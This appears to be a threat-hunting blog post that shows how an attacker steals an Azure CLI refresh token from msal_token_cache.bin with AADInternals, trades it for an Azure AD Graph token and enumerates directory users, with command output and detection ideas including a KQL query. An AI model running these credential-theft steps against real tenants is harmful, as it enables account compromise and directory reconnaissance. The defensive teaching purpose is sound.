Learn Like a Baby - hunting for OnPrem to Cloud movement by Credential Access - Azure CLI - 5
Table of contents
The Act.
Earlier in the series we discussed phishing for initial access now the attacker has to move laterally go to cloud.
We will discuss a credential access technique of stealing refresh token of a local users Azure CLI which is given for the scope Azure resourse manager later modified and applied for Azure AD
Azure CLI
Azure CLI is a versatile command-line interface tool designed to interact with Azure cloud services. It enables users to manage and control various Azure resources directly from a terminal.
To authenticate and interact with Azure, the CLI employs a token-based system. An access token is issued for short-term operations, while a refresh token is generated concurrently to extend access when the initial token expires. These tokens are securely stored in an encrypted format within a file named msal_token_cache.bin
located in the user's home directory. ( **%HOMEPATH%\.azure).**This file is protected using the Data Protection API (DPAPI).
Flow Description:
Attacker (X) -> Initial Access (A):
- The attack begins with an attacker (X) gaining initial access to a hybrid user's system (A). This is typically achieved through phishing, as referenced in previous modules.
Hybrid User (A) -> AADInternals - Credentials Access (B):
- The compromised hybrid user (A) uses AADInternals to access credentials stored on the system . Specifically, they target the access refresh token located in the
.azure
directory.
- The compromised hybrid user (A) uses AADInternals to access credentials stored on the system . Specifically, they target the access refresh token located in the
Hybrid User (A) -> Request Access token for Azure AD (C):
- using obtained token of ARM request access token for Azure AD
Hybrid User (A) -> Discovery - Enumerate Azure AD (C):
- Using the modified refresh token and Azure AD module, the attacker performs discovery operations on Azure AD. This involves gathering information about the Azure Active Directory environment.
Steal Azure CLI token is one of the important technique which belongs to the below Mitre technique
Steal Application Access Token:
Adversaries can steal application access tokens as a
means of acquiring credentials to access remote systems and resources.
Application access tokens are used to make authorized API requests
on behalf of a user or service and are commonly used as a way
to access resources in cloud and container-based applications
and software-as-a-service
Adversaries who steal account API tokens in
cloud and containerized environments may be able to access
data and perform actions with the permissions of these accounts,
which can lead to privilege escalation and further compromise of
the environment.
Attacker access specific directory
Directory: C:\Users\azureadmin\.azure
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 8/14/2024 8:09 PM commands
d----- 10/13/2023 3:12 AM logs
d----- 8/14/2024 8:09 PM telemetry
-a---- 10/13/2023 3:12 AM 5 az.json
-a---- 8/14/2024 8:09 PM 5 az.sess
-a---- 8/14/2024 8:09 PM 374 azureProfile.json
-a---- 8/14/2024 8:09 PM 67 az_survey.json
-a---- 8/14/2024 8:09 PM 69 clouds.config
-a---- 10/13/2023 3:12 AM 5476 commandIndex.json
-a---- 10/13/2023 3:12 AM 57 config
-a---- 8/14/2024 8:09 PM 13632 msal_http_cache.bin
-a---- 8/14/2024 8:09 PM 11948 msal_token_cache.bin
-a---- 8/14/2024 8:09 PM 19 telemetry.txt
-a---- 10/13/2023 3:12 AM 211 versionCheck.json
Export-AADIntAzureCliTokens of AAD-Internals is used for the export
Import-Module AADInternals
Export-AADIntAzureCliTokens | fl
This command exports Azure CLI tokens from the msal_token_cache.bin cache. On Windows, msal_token_cache.bin is a json file protected with DPAPI in LocalUser context.
Copy and paste the most recent access token that you see to https://jwt.io/.
{
"typ": "JWT",
"alg": "RS256",
"x5t": "KQ2tAcrssslBaVVGBmc5FobgdJo4",
"kid": "KQ2tAcrE7lBaabsVGBmc5FobgdJo4"
}
{
"aud": "https://management.core.windows.net/",
"iss": "https://sts.windows.net/d1xxxce2-ba05-45c0-90b7-99Trf1fafa537/",
"iat": 1723665878,
"nbf": 1723665878,
"exp": 1723670180,
"acr": "1",
"aio": "ATQAy/8XAAAACaQQ5KsdOYfbFASMvbYs3MV5SXmSM4a3JQVLwnIbyPPvJPpggJKbiVJejffYigB/",
"amr": [
"pwd"
],
"appid": "04b07795-8ddb-461a-bbee-02f9e1bf7b46",
"appidacr": "0",
"idtyp": "user",
"ipaddr": "172.x.x.154",
"name": "ddd",
"oid": "f2a0afae-c2a4-41c7-8cbe-ec35dxxxx3ae",
"puid": "10032003x4D7E745",
"rh": "0.Ab0A4oQP0QW6wEWQt5lPH6-lN0ZIf3kAutdPukPawfj2MBPLAPU.",
"scp": "user_impersonation",
"sub": "q3AlTVlS3Ri9wwxxxX50kbDzTALA4a64fF6jX-E5m3I",
"tid": "f10fxx2-ba05-45c0-90b7-99xxxxxx37",
"unique_name": "user_xxx@xxx.onmicrosoft.com",
"upn": "user_xxx@xxx.onmicrosoft.com",
"uti": "1073ioGxlUy0_ZazB1ETAQ",
"ver": "1.0",
"wids": [
"b7ccbf4d-3ef9-4689-8143-76bxxxxx509"
],
"xms_cae": "1",
"xms_cc": [
"CP1"
],
"xms_filter_index": [
"189"
],
"xms_idrel": "1 20",
"xms_rd": "0.42LjYBRi2ssIAA",
"xms_ssm": "1",
"xms_tcdt": 1693941403
}
this represents ARM
"aud": "https://management.core.windows.net/",
"appid": "04b07795-8ddb-461a-bbee-02f9e1bf7b46"
this represents the tenant id
"tid": "f10fxx2-ba05-45c0-90b7-99xxxxxx37",
we also have UPN
"unique_name": "user_xxx@xxx.onmicrosoft.com", "upn": "user_xxx@xxx.onmicrosoft.com",
make a note of the appid (client ID) that was used and the tid value that represents the tenant ID. We will use the same parameters when we request an access token for AAD graph, using the refresh token that we have.
The command to request an access token for AAD Graph and store it to a variable named $at. Use the client ID and tenant ID that we identified before
$reftoken = "<most recent refresh token>"
$at=Get-AADIntAccessTokenWithRefreshToken
-ClientId "04b07795-8ddb-461a-bbee-02f9e1bf7b46"
-Resource "https://graph.windows.net"
-TenantId "d10fxxxx-baxx-45x0-9xxx-9xxxxxafaxx7"
-RefreshToken $reftoken
Now read the access token obtained for AAD
PS C:\Users\azureadmin\.azure> Read-AADIntAccesstoken $at
aud : https://graph.windows.net
iss : https://sts.windows.net/d10xxxxx-ba05-45c0-90b7-90000fafa537/
iat : 1723667429
nbf : 1723667429
exp : 1723671901
acr : 1
aio : ATQAy/8XAAAA9K78yzu3eT9cIk0ysxZT/45eghXd5zJf/cgFsEqZl8ccLocByQwodBcVWt7SwP2O
amr : {pwd}
appid : 04b07795-8ddb-461a-bbee-02f9e1bf7b46
appidacr : 0
idtyp : user
ipaddr : 172.x.x.154
name : User
oid : f2axxxae-c2xx-xxx7-8ssse-ec35dddda3ae
puid : 100320031117E745
rh : 0.Ab0A4oQP0QW6wEWQt5lPH6-lssNwIAAAAAAAAAwAAAAAAAAADLAPU.
scp : 62dde903dd94-69f5-4237-9sss190-012177145e10
sub : lf3VDqqqkwwv8c7luiUG2_J-dfPQKw1TZ1TMzybjtUUWD7AU
tenant_region_scope : NA
tid : daaaaae2-bawww5-4ssd-9xx7-9dddddswefa537
unique_name : userxxxx@xxx.onmicrosoft.com
upn : user_xxx@xxx.onmicrosoft.com
uti : -lkYv5bH20uUxzm2RnI8bAA
ver : 1.0
xms_idrel : 14 1
let's try connect to Azure AD as user_ using this access token and enumerate the Azure AD users.
Import-Module AzureAD
Connect-AzureAD
-AccountId user_xxx@xxx.onmicrosoft.com
-AadAccessToken $at
Get-AzureADUser -All $true
PS C:\Users\azureadmin\.azure> Get-AzureADUser -All $true
ObjectId DisplayName UserPrincipalName UserType
-------- ----------- ----------------- --------
xxxxx xxx xxx
xxxxx xxx xxx
COMMAND FUNCTIONS USED
## AAD internals
# 1-for extracting refresh token and access token from the file system
Import-Module AADInternals
Export-AADIntAzureCliTokens | fl
# 2 - for requesting access token to graph api
Get-AADIntAccessTokenWithRefreshToken
# 3 - to read the access token
Read-AADIntAccesstoken
## Azure AD
## 4 - connect to Azure AD and read all security principals
Import-Module AzureAD
Connect-AzureAD
Get-AzureADUser
The Detection.
Apart from the commandline execution and ETW i agree the detecting this attack is gonna be tough. Below are possible approaches
Commandline contains
msal_token_cache.bin
Loading AAD Internal modules
cd to .azure folder
ETW
- Identify functions like Export-AADIntAzureCliTokens & Get-AADIntAccessTokenWithRefreshToken in memory
File Integrity Monitoring
- Powershell Modify content of the file msal_token_cache.bin
Azure AD signin logs
If the attacker uses the refresh token from the beach host or different system there is a possibility of risky signin
Unknown or no DevicedId for the signin attempt
DeviceProcessEvents
| where ProcessName == "powershell.exe"
| where ParentProcessName == "explorer.exe" // Adjust based on common parent processes
| where CommandLine contains "msal_token_cache.bin"
| project DeviceName, ProcessId, ParentProcessId, User, CommandLine, TimeGenerated
Subscribe to my newsletter
Read articles from raja mani directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
raja mani
raja mani
✨🌟💫Threat Hunter 💫🌟✨